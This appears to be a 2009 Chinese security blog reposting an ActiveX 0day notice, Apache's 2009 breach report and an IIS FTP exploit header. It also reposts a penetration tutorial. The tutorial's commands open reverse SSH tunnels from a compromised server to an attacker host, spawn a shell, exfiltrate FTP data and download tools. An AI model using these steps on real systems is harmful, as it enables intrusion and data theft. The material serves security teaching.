2009年9月4日 星期五

PPStream PPSMediaList Activex 0day exploit

PPStream is the most huge p2p media player in the world.
There are two hundred million ppstream users in the world.
The vulnerability is exploitable,but I have no time to make it,you could visit my blog for detail.^@^
welcome to http://0dayexpose.blogspot.com/
COM Object - {D22DE742-04CD-4B5C-A8A3-82AB3DAEC43D} PPSMediaList Control
COM Object Filename : C:\PROGRA~1\PPStream\MList.ocx
RegKey Safe for Script: True
RegkeySafe for Init: True
KillBitSet: False
Company Name        : PPStream Inc.
Version                : V2.6.86.8900
Web Site            : http://www.ppstream.com
 
 












PS.小弟看不是很懂這篇文章(全都看不懂...?!)
有人可以指點一下嗎?
此exploit原作者已刊登至 milw0rm (1) (2)

註: 本文轉載自網路 非原創
轉載自 0dayexpose 原文

2009年9月3日 星期四

Apache.org incident report for 8/28/2009

Last week we posted about the security breach that caused us to temporarily suspend some services.  All services have now been restored. We have analyzed the events that led to the breach, and continued to work on improving the security of our systems.

NOTE: At no time were any Apache Software Foundation code repositories, downloads, or users put at risk by this intrusion. However, we believe that providing a detailed account of what happened will make the internet a better place, by allowing others to learn from our mistakes.

What Happened?

Our initial running theory was correct--the server that hosted the apachecon.com (dv35.apachecon.com) website had been compromised. The machine was running CentOS, and we suspect they may have used the recent local root exploits patched in RHSA-2009-1222 to escalate their privileges on this machine. The attackers fully compromised this machine, including gaining root privileges, and destroyed most of the logs, making it difficult for us to confirm the details of everything that happened on the machine.
This machine is owned by the ApacheCon conference production company, not by the Apache Software Foundation. However, members of the ASF infrastructure team had accounts on this machine, including one used to create backups.
The attackers attempted unsuccessfully to use passwords from the compromised ApacheCon host to log on to our production webservers.  Later, using the SSH Key of the backup account, they were able to access people.apache.org (minotaur.apache.org). This account was an unprivileged user, used to create backups from the ApacheCon host.
minotaur.apache.org runs FreeBSD 7-STABLE, and acts as the staging machine for our mirror network. It is our primary shell account server, and provides many other services for Apache developers. None of our Subversion (version control) data is kept on this machine, and there was never any risk to any Apache source code.
Once the attackers had gained shell access, they added CGI scripts to the document root folders of several of our websites. A regular, scheduled rsync process copied these scripts to our production web server, eos.apache.org, where they became externally visible. The CGI scripts were used to obtain remote shells, with information sent using HTTP POST commands.
Our download pages are dynamically generated, to enable us to present users with a local mirror of our software. This means that all of our domains have ExecCGI enabled, making it harder for us to protect against an attack of this nature.
After discovering the CGI scripts, the infrastructure team decided to shutdown any servers that could potentially have been affected. This included people.apache.org, and both the EU and US website servers. All website traffic was redirected to a known-good server, and a temporary security message was put in place to let people know we were aware of an issue.
One by one, we brought the potentially-affected servers up, in single user mode, using our out of band access. It quickly became clear that aurora.apache.org, the EU website server, had not been affected. Although the CGI scripts had been rsync'd to that machine, they had never been run. This machine was not included in the DNS rotation at the time of the attack.
aurora.apache.org runs Solaris 10, and we were able to restore the box to a known-good configuration by cloning and promoting a ZFS snapshot from a day before the CGI scripts were synced over. Doing so enabled us to bring the EU server back online, and to rapidly restore our main websites. Thereafter, we continued to analyze the cause of the breach, the method of access, and which, if any, other machines had been compromised.
Shortly after bringing up aurora.apache.org we determined that the most likely route of the breach was the backup routine from dv35.apachecon.com. We grabbed all the available logs from dv35.apachecon.com, and promptly shut it down.
Analysis continued on minotaur.apache.org and eos.apache.org (our US server), until we were confident that all remants of the attackers had been removed. As each server was declared clean, it was brought back online.

What worked?

  • The use of ZFS snapshots enabled us to restore the EU production web server to a known-good state.
  • Redundant services in two locations allowed us to run services from an alternate location while continuing to work on the affected servers and services.
  • A non-uniform set of compromised machines (Linux/CentOS i386, FreeBSD-7 amd_64, and Solaris 10 on sparc) made it difficult for the attackers to escalate privileges on multiple machines.

What didn't work?

  • The use of SSH keys facilitated this attack. In hindsight, our implementation left a lot to be desired--we did not restrict SSH keys appropriately, and we were unaware of their misuse.
  • The rsync setup, which uses people.apache.org to manage the deployment of our websites, enabled the attackers to get their files onto the US mirror, undetected.
  • The ability to run CGI scripts in any virtual host, when most of our websites do not need this functionality, made us unneccesarily vulnerable to an attack of this nature.
  • The lack of logs from the ApacheCon host prevents us from conclusively determining the full course of action taken by the attacker. All but one log file were deleted by the attacker, and logs were not kept off the machine.

What changes we are making now?

As a result of this intrusion we are making several changes, to help further secure our infrastructure from such issues in the future. These changes include the following:
  • Requiring all users with elevated privileges to use OPIE for sudo on certain machines.  We already require this in some places, but will expand its use as necessary.
  • Recreating and using new SSH keys, one per host, for backups.  Also enforcing use of the from="" and command="" strings in the authorized keys file on the destination backup server. In tandem with access restrictions which only allow connections from machines that are actually backing up data, this will prevent 3rd party machines from being able to establish an SSH connection. 
    • The command="" string in the authorized_keys file is now explicit, and only allows one way rsync traffic, due to the paths and flags used.
    • New keys have been generated for all hosts, with a minimum key length of at least 4096 bits .
  • The VM that hosted the old apachecon.com site remains powered down, awaiting further detailed analysis.  The apachecon.com website has been re-deployed on a new VM, with a new provider and different operating system.
  • We are looking at disabling CGI support on most of our website systems.  This has led to the creation of a new httpd module that will handle things like mirror locations for downloads.
  • The method by which most of our public facing websites are deployed to our production servers will also change, becoming a much more automated process. We hope to have switched over to a SvnSubPub / SvnWcSub based system within the next few weeks.
  • We will re-implement measures such as IP banning after several failed logins, on all machines. 
  • A proposal has been made to introduce centralized logging. This would include all system logs, and possibly also services such as smtpd and httpd.
註: 本文轉載自網路 非原創
轉載自 Apache

2009年9月2日 星期三

Depth of SSH Tunnel

author: ring04h[EST]

在滲透測試過程中,經常遇到如下情形,內部網絡主機通過路由器或者安全設備做了訪問控制,無法通過互聯網直接訪問本地開放的服務,Windows方面,國內通常選擇Lcx.exe來進行端口轉發,在應用方面大多數人也會選擇reDuh來進行端口轉發,而*nix卻很少人用系統自帶的ssh、 iptables自身來處理此類問題。
由於時間有限,本文只詳細的介紹ssh tunnel方面的知識,iptables的有空在加上。

SSH的三個端口轉發命令:
ssh -C -f -N -g -L listen_port:DST_Host:DST_port user@Tunnel_Host
ssh -C -f -N -g -R listen_port:DST_Host:DST_port user@Tunnel_Host
ssh -C -f -N -g -D listen_port user@Tunnel_Host

-f Fork into background after authentication.
後台認證用戶/密碼,通常和-N連用,不用登錄到遠程主機。

-p port Connect to this port. Server must be on the same port.
被登錄的ssd服務器的sshd服務端口。

-L port:host:hostport
將本地機(客戶機)的某個端口轉發到遠端指定機器的指定端口. 工作原理是這樣的, 本地機器上分配了一個 socket 偵聽 port 端口, 一旦這個端口上有了連接, 該連接就經過安全通道轉發出去, 同時遠程主機和 host 的 hostport 端口建立連接. 可以在配置文件中指定端口的轉發. 只有 root 才能轉發特權端口. IPv6 地址用另一種格式說明: port/host/hostport

-R port:host:hostport
將遠程主機(服務器)的某個端口轉發到本地端指定機器的指定端口. 工作原理是這樣的, 遠程主機上分配了一個 socket 偵聽 port 端口, 一旦這個端口上有了連接, 該連接就經過安全通道轉向出去, 同時本地主機和 host 的 hostport 端口建立連接. 可以在配置文件中指定端口的轉發. 只有用 root 登錄遠程主機才能轉發特權端口. IPv6 地址用另一種格式說明: port/host/hostport

-D port
指定一個本地機器 「動態的'』 應用程序端口轉發. 工作原理是這樣的, 本地機器上分配了一個 socket 偵聽 port 端口, 一旦這個端口上有了連接, 該連接就經過安全通道轉發出去, 根據應用程序的協議可以判斷出遠程主機將和哪裡連接. 目前支持 SOCKS4 協議, 將充當 SOCKS4 服務器. 只有 root 才能轉發特權端口. 可以在配置文件中指定動態端口的轉發.

-C Enable compression.
壓縮數據傳輸。

-N Do not execute a shell or command.
不執行腳本或命令,通常與-f連用。

-g Allow remote hosts to connect to forwarded ports.
在-L/-R/-D參數中,允許遠程主機連接到建立的轉發的端口,如果不加這個參數,只允許本地主機建立連接。註:這個參數我在實踐中似乎始終不起作用)

如果想要瞭解更多關於SSH的細節,可以 man ssh ,或參照ssh的DOC.

實例:
------------------------------------------------------------------------------
當駭客A從互聯網入侵了RISUN企業的一台服務器,機器名稱為 GBOSS_WEB
GBOSS_WEB 信息:
外網IP:255.25.55.111
內網IP:10.168.0.10
網絡架構方式為,路由將外網256.25.56.111的80端口映射到內網10.168.0.10的80端口上。

駭客A通過利用80端口開放服務的WEB腳本漏洞,成功繼承到GBOSS_WEB的httpd權限,然後通過perl或者其它語言創建SOCKET獲得一個遠程sh shell。由於back回來的shell可能不穩定,或者使用起來不方便,可以採用SSH建立一個隧道,將GBOSS_WEB服務器上的22端口映射至駭客的本機上(本文章用於演示的駭客機為0x.cn);

通過得到的sh shell,執行 $python -c 'import pty; pty.spawn("/bin/sh")' 獲得一個ttyshell(因為ssh想要tty的支持),然後通過如下命令,映射GBOSS_WEB服務器的22端口至202.65.208.142的44端口;
$ssh -C -f -N -g -R 44:127.0.0.1:22 ring04h@202.65.208.142
這樣登錄0x.cn的ssh服務,ssh -p 44 127.0.0.1 等同於連接GBOSS_WEB的22端口。

駭客A通過利用操作系統系統提升權限至ROOT,再繼續滲透過程中,發現內網還存在另外一台名稱為GBOSS_APP的服務器。
GBOSS_APP 信息:
內網IP:10.168.0.20

駭客通過嗅探獲取了GBOSS_APP服務器的FTP信息,GBOSS_APP服務器FTP保存有RISUN企業的核心數據,由於數據量龐大,需要FTP續傳功能,可通過SSH映射GBOSS_APP的21端口至0x.cn的2121端口;
$ssh -C -f -N -g -R 2121:10.168.0.20:21 ring04h@202.65.208.142

當駭客成功root掉內網中另一網段中的服務器BILL_APP時,需要從外網下載一些工具,由於內部訪問控制策略,BILL_APP無法連接網,此時可以通過映射外網服務器0x.cn的80端口至GBOSS_WEB的8888端口,然後通過GBOSS_WEB建立的隧道,下載所需工具。
在GBOSS_WEB服務器上執行:
$ssh -C -f -N -g user@10.168.0.10 -L 8888:202.65.208.142:80

通過建立隧道後,在BILL_APP上執行 wget http://10.168.0.10:8888/thepl 等同於訪問http://202.65.208.142/thepl

本文詳細的概述了如何建立隧道的過程,以及相關參數的使用方法,各位懂的高手可以直接飄過。
本文中駭客所使用的地址為真實IP,對應域名:http://0x.cn 歡迎無聊的駭客們破壞。(SSH有個隱藏的密碼,很容易的...)

註: 本文轉載自網路 非原創
轉載自 A TO Z

Microsoft IIS 5.0 FTP Server Remote Stack Overflow Exploit (win2k sp4)

by muts 
#!/usr/bin/perl
# IIS 5.0 FTP Server / Remote SYSTEM exploit 
# Win2k SP4 targets 
# bug found & exploited by Kingcope, kcope2googlemail.com 
# Affects IIS6 with stack cookie protection 
# Modded by muts, additional egghunter added for secondary larger payload
# Might take a minute or two for the egg to be found.
# Opens bind shell on port 4444

# http://www.offensive-security.com/0day/msftp.pl.txt  
查詢Exploit


註: 本文轉載自網路 非原創
轉載自 milw0rm